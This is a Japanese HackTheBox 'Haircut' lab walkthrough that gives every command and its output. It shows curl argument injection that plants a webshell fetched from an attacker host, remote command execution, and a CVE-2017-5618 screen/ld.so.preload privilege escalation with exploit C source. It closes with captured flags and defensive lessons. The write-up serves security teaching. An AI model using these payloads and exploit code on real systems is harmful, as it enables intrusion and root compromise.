HackTheBox: Haircut — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH、80/tcp nginx
→
22/tcp SSH、80/tcp nginx
exposed.php SSRF
method=POST必須と判明
→
method=POST必須と判明
curl引数密輸入
URL末尾に “-o uploads/shell.php”
→
URL末尾に “-o uploads/shell.php”
webshell RCE
user.txt ✓
→
user.txt ✓
screen 4.5.0 SUID
CVE-2017-5618
→
CVE-2017-5618
ld.so.preload書換
libhax.soコンストラクタ発火
→
libhax.soコンストラクタ発火
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サイト確認
BASH
nmap -Pn -sV -p 22,80,443 --max-retries 2 --host-timeout 30s 10.129.61.115
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.10.0 (Ubuntu) 443/tcp closed https
BASH
curl -s http://10.129.61.115/
RESULT
<title> HTB Hairdresser </title>
<img src="bounce.jpg" ...>
PHASE 2
exposed.php — curl SSRFエンドポイントの調査
gobusterでexposed.phpを発見
BASH
gobuster dir -u http://10.129.61.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
RESULT
/exposed.php (Status: 200)
/uploads (Status: 301)
BASH
curl -s http://10.129.61.115/exposed.php
RESULT
<title>Hairdresser checker</title> <form action='exposed.php' method='POST'> Enter the Hairdresser's location you would like to check. <input type='text' name='formurl' value='http://localhost/test.html'/> <input type='submit' name='submit' value='Go' /> </form>
ℹ️
入力欄の name 属性は
formurl。フォームの
method='POST' がこの後の落とし穴になる。
重要な落とし穴: GETリクエストではSSRFが一切発火しない
NOTE
最初、curlの-G(GETでクエリ文字列送信)オプションを使って formurlパラメータを送っても、フォームページがそのまま返るだけで サーバー側では何も起きなかった(リスナーを立てても接続が来ない)。 フォームのmethod='POST'が示す通り、exposed.phpは$_POST変数だけを チェックしており、GETのクエリ文字列(=$_GET)は完全に無視される。
BASH
# 失敗する例 (GET) curl -s -G --data-urlencode "formurl=http://ATTACKER:8092/test" http://10.129.61.115/exposed.php # → リスナー側に何も届かない # 成功する例 (POST、-Gを付けない) curl -s -X POST --data-urlencode "formurl=http://ATTACKER:8092/test" http://10.129.61.115/exposed.php
RESULT (POSTでのレスポンス抜粋)
<p>Requesting Site...</p> % Total % Received % Xferd ... (curlの進捗バー出力) <!DOCTYPE HTML>...<h1>Error response</h1>...
✅
SSRF発火確認。 POSTで送るとサーバー内部で
curl <formurlの値>相当のコマンドが実行され、その
生のcurl進捗バー出力とレスポンス本文がHTMLにそのまま埋め込まれて
返ってくる(サーバー側は入力値をシェルコマンドラインに直接連結して
いると分かる、典型的な引数インジェクションの兆候)。
PHASE 3
curl引数密輸入によるWebshell設置 & user.txt
攻撃者ホストでWebshellを配信する
BASH
echo '<?php system($_GET["melo"]); ?>' > shell.php python3 -m http.server 8092
-o フラグを密輸入してuploads/へ書き込ませる
NOTE
formurl の値はサーバー側で恐らく curl "<formurlの値>" のような形でシェルに渡されている。curlは引数中に "-o <path>" が 含まれていると出力先ファイルとして扱うため、URLの後ろにスペース区切りで "-o uploads/shell.php" を追加するだけで、フェッチしたレスポンス本体を Webルート配下の任意ファイル名で保存させられる。
BASH
curl -s -X POST --data-urlencode \ "formurl=http://ATTACKER_IP:8092/shell.php -o uploads/shell.php" \ http://10.129.61.115/exposed.php
RESULT (配信サーバー側ログ)
10.129.61.115 - - [.../shell.php HTTP/1.1" 200 -]
Webshell疎通確認 & user.txt取得
BASH
curl -s -G --data-urlencode "melo=id" http://10.129.61.115/uploads/shell.php
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
curl -s -G --data-urlencode "melo=cat /home/*/user.txt" http://10.129.61.115/uploads/shell.php
RESULT
e0caeeaadcbb69f6be5740d460dc0c62
user.txt — maria
e0caeeaadcbb69f6be5740d460dc0c62
PHASE 4
screen 4.5.0 SUID (CVE-2017-5618) → root.txt
SUIDバイナリの発見
BASH
curl -s -G --data-urlencode "melo=find / -perm /4000 2>/dev/null" http://10.129.61.115/uploads/shell.php
RESULT
/usr/bin/sudo
/usr/bin/screen-4.5.0 ← root SUID (通常は非SUIDのはずの screen)
/bin/su
...
ℹ️
GNU Screen 4.5.0 には CVE-2017-5618
(setuid rootのscreenがログファイル書き込み時に権限を落とさないローカル権限昇格) が存在する。
screenのログ機能を使い、root権限で任意ファイル(
/etc/ld.so.preload)を
新規作成できる。
悪性共有ライブラリ(libhax.so)とrootshellバイナリを用意
BASH
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
setuid(0); setgid(0); seteuid(0); setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
ℹ️
libhax.soのコンストラクタ関数は、動的リンカがこの共有ライブラリを
ロードした瞬間(=root権限の任意プロセスが起動した瞬間)に自動実行され、
既に用意しておいた/tmp/rootshellをroot所有+SUID化する。
webshell経由でビルド & ld.so.preload書き込み
BASH
# .c ファイルをwebshell経由でターゲットに書き込み、その場でコンパイル curl -s -G --data-urlencode "melo=export PATH=/usr/bin:\$PATH; gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c" \ http://10.129.61.115/uploads/shell.php curl -s -G --data-urlencode "melo=export PATH=/usr/bin:\$PATH; gcc -o /tmp/rootshell /tmp/rootshell.c" \ http://10.129.61.115/uploads/shell.php # screen (SUID root) にログファイルとして /etc/ld.so.preload を書かせる curl -s -G --data-urlencode 'melo=cd /etc && umask 000 && screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && screen -ls' \ http://10.129.61.115/uploads/shell.php
RESULT
No Sockets found in /tmp/screens/S-www-data.
ℹ️
"No Sockets found" は screen セッション自体がすぐ終了したことを示す
正常な出力(ログ書き込み目的で一瞬起動してすぐ終わるため)。この時点で
/etc/ld.so.preloadに/tmp/libhax.soへのパスが
書き込まれている。
root化トリガー & root.txt取得
NOTE
/etc/ld.so.preload に登録された共有ライブラリは、以後動的リンクされる 「あらゆる」プロセス起動時にロードされる。screen自体の終了処理や 次に何らかのプロセスが起動した時点で libhax.so のコンストラクタが発火し、 /tmp/rootshell が root:root + SUID 化される。
BASH
# rootshell の execvp("/bin/sh", NULL, NULL) は引数なしで対話シェルを
# 起動するだけなので、非対話webshellからは標準入力にコマンドをパイプする
curl -s -G --data-urlencode "melo=echo 'cat /root/root.txt' | /tmp/rootshell" \
http://10.129.61.115/uploads/shell.php
RESULT
8ede3fc4bc9144d5c397cc0261fa257b
✅
root化成功!
ls -la /tmp/rootshellで確認すると
-rwsr-xr-x root rootとなっており、libhax.soのコンストラクタが
期待通り発火したことが分かる。
root.txt — root@haircut
8ede3fc4bc9144d5c397cc0261fa257b
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — maria
e0caeeaadcbb69f6be5740d460dc0c62
root.txt — root@haircut
8ede3fc4bc9144d5c397cc0261fa257b
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SSRF + curl引数インジェクション | exposed.php | リモートコード実行 (www-data) | Critical | URL入力値をサニタイズせずcurlコマンドラインに連結。末尾に-o uploads/shell.phpを密輸入しwebshellを設置 |
| CVE-2017-5618 | GNU Screen 4.5.0 (SUID root) | 権限昇格 (root) | High | screenのログファイル書き込みでroot権限のまま任意パスに書き込み、/etc/ld.so.preloadを悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 80/tcp nginx、exposed.php発見 |
| 2 | SSRF調査 | フォームmethod確認(POST必須と判明) | SSRFトリガー方法の特定 |
| 3 | RCE | curl -oフラグ密輸入 | user.txt取得(www-data) |
| 4 | 権限昇格 | screen SUID + ld.so.preload | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力をサニタイズせずシェルコマンド(curl)に直接連結している | 外部プロセス呼び出しにはシェルを経由しないAPI(execve系の配列引数渡し等)を使い、シェルメタ文字・オプション文字列の混入を防ぐ。入力値をURLとして厳密にバリデーションする。 |
| アップロードディレクトリ(uploads/)でPHPの実行が許可されている | アップロード先ディレクトリはWebサーバー設定でスクリプト実行を無効化する(nginxならlocationブロックでphp-fpmへの転送を除外)。 |
| 脆弱性のある古いバージョンのGNU Screen(4.5.0)がSUID rootで放置されている | 不要なSUIDビットは削除する(screenは通常SUID不要)。既知の脆弱性が修正されたバージョンへの更新を定期的に行う。 |

